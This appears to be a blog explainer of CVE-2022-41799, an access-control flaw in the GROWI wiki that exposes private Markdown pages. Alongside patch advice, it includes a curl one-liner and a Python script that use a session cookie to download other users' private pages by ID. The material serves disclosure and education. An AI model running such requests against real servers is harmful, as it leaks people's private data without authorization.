---
GROWI is a widely used open-source wiki system, helping teams collaborate by creating and storing structured knowledge in Markdown pages. But what if your “private” pages weren’t so private? In late 2022, a critical improper access control vulnerability was found that let authenticated users bypass restrictions and download other people’s supposedly private Markdown pages—yikes!
This post breaks down CVE-2022-41799 with simple explanations, real code snippets, and direct exploit details so you truly get how the bug worked.
v4 series: all versions before v4.5.25
- CVE Entry: NVD (CVE-2022-41799)
The Gist: Why Is This Bad?
A normal user is supposed to only see what they are granted access to. But because of this bug, any logged-in user could download the Markdown source of pages that were set to “private” by other users. So, sensitive information or drafts stored in “private” pages could leak organization-wide.
Understanding the Vulnerability
The problem lies in improper checks when downloading Markdown content from a GROWI server.
Let’s imagine the vulnerable GROWI route is kind of like this (simplified pseudocode)
// routes/page.js
router.get('/_api/pages.export/:pageId', async (req, res) => {
const pageId = req.params.pageId;
// BAD: There's not enough permission checking here!
const page = await Page.findById(pageId);
// Export the page in Markdown
res.send(page.markdown);
});
What’s Missing?
The route above does not verify if the requesting user actually has access to the requested page (pageId). It just happily grabs the page and sends back its content! This means that any logged-in user who can guess or enumerate page IDs can download “private” Markdown even if they shouldn’t.
Here’s a one-line exploit anyone could run (after logging in and getting session cookies)
curl -b "connect.sid=YOUR_SESSION_COOKIE" \
https://growi.example.org/_api/pages.export/PRIVATE_PAGE_ID
If the server is vulnerable, this returns the private Markdown source.
Example Python Script
Below is a Python3 script to automate exploiting this bug for multiple page IDs (assume you sniffed or guessed them):
import requests
session_cookie = 'YOUR_SESSION_COOKIE_HERE'
base_url = 'https://growi.example.org';
page_ids = [
'5fd123abc411223344556677', # example page IDs
'5fd987654321098765432109'
]
headers = {'Cookie': f'connect.sid={session_cookie}'}
for pid in page_ids:
url = f'{base_url}/_api/pages.export/{pid}'
resp = requests.get(url, headers=headers)
if resp.status_code == 200:
print(f'Success for {pid}:')
print(resp.text)
else:
print(f'Failed for {pid}: HTTP {resp.status_code}')
v4.5.25 or newer (if on v4)
See official fix notes:
- GROWI Security Advisory
Takeaways & References
- Even “authenticated-only” vulnerabilities can be dangerous—don’t trust your users more than necessary!
- Always test routes that output sensitive content under adverse conditions (improper user IDs, mismatched access, etc).
Official References
- NVD CVE-2022-41799 Entry
- GROWI Security Advisory on GitHub
- GROWI GitHub Repo
Bottom Line:
If you use GROWI and haven’t upgraded since late 2022, stop and patch! Don’t let your “private” wiki pages become everyone’s business.
*Hope this made CVE-2022-41799 easy to understand! If you have questions, let me know in the comments.*
Timeline
Published on: 10/24/2022 14:15:00 UTC
Last modified on: 10/24/2022 17:20:00 UTC